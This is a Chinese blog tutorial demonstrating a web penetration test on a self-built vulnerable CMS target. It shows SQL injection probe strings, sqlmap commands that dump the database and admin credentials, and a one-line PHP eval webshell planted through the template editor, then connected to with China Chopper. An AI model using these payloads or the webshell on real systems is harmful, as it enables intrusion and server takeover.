网络安全攻防:Web安全之渗透测试

 [[399373]]

本文基于某个开源的CMS搭建一个靶机,来演示Web渗透整个过程。

1. SQL注入检测

在访问网站时收集资料,了解网站的各项接口、功能,手动测试其每一个参数是否存在注入。其中发现一个带参数ID的页面,如图1所示。

图1  带参数ID的页面

通过手动注入判断该参数是否为注入点,发现当输入id=10’and‘1’=’0时返回错误页面,如图2所示。

图2  返回错误页面

而当参数id=10’and‘1’=’1时仍然显示为正确页面,由此怀疑ID参数后面的and语句内容被当作SQL语句一部分带入执行,此处可能存在SQL注入。

2. SQL注入利用

纯粹的手工注入将花费大量时间和精力,此处利用SQLMap工具对此疑似SQL注入点的参数进行判断。

利用SQLMap语句:

–u “http:/*.*.*.*/yx/index.php?r=default/column/content&col=products&id=10*”

判断该URL是否存在注入,其中,*表示判断该处参数,其结果如图3所示。

图3  判断注入结果

可见参数 id 存在布尔注入、错误回显注入、时间盲注等多种注入隐患。并且 SQLMap直接判断出其后台数据库为MySQL 5.0,服务器为Apache2.4.3,脚本环境为PHP5.6.25。

利用SQLMap继续查看数据库内容,其中利用–dbs参数查看所有数据库发现共有5个库,如图4所示。

图4  查看数据库

猜测yx_test为该CMS的数据库,继续深入查看其内容。利用–D 库名–tables可查看指定库的表名,如图5所示。

图5  查看指定库的表名

共有20张表,需要得到管理员账号密码,因此,利用–T参数指定表dump其内容。

于是得到了该表的结构以及其中数据,并反解MD5,可以获得一个登录名为admin的账号和密码654321。

3. 后台登录getshell

进入后台,如图6所示。

图6  进入后台

继续在后台管理平台上寻找可上传Webshell的方法,以取得服务器Shell权限。

在进入到全局设置下前台模板的管理模板文件功能后,发现有许多PHP文件,其中利用添加模板的功能可以直接在网页上编写PHP文件,并保存到服务器,如图7所示。

图7  编写PHP文件

利用网页编辑,写入一个一句话木马,其内容为<?php eval($_POST[‘test’]);?>,写入到一个名为muma.php的文件,如图8所示。

图8  写入木马

木马写入成功,只需知道网页地址即可访问链接。

最后利用中国菜刀工具连接该木马,如图9所示。

图9  连接木马

成功连接站点,可以远程下载、上传任意文件,也可运行Shell执行代码。 

 

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/122206.html<

(0)
运维的头像运维
上一篇2025-02-22 05:56
下一篇 2025-02-22 05:57

相关推荐

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注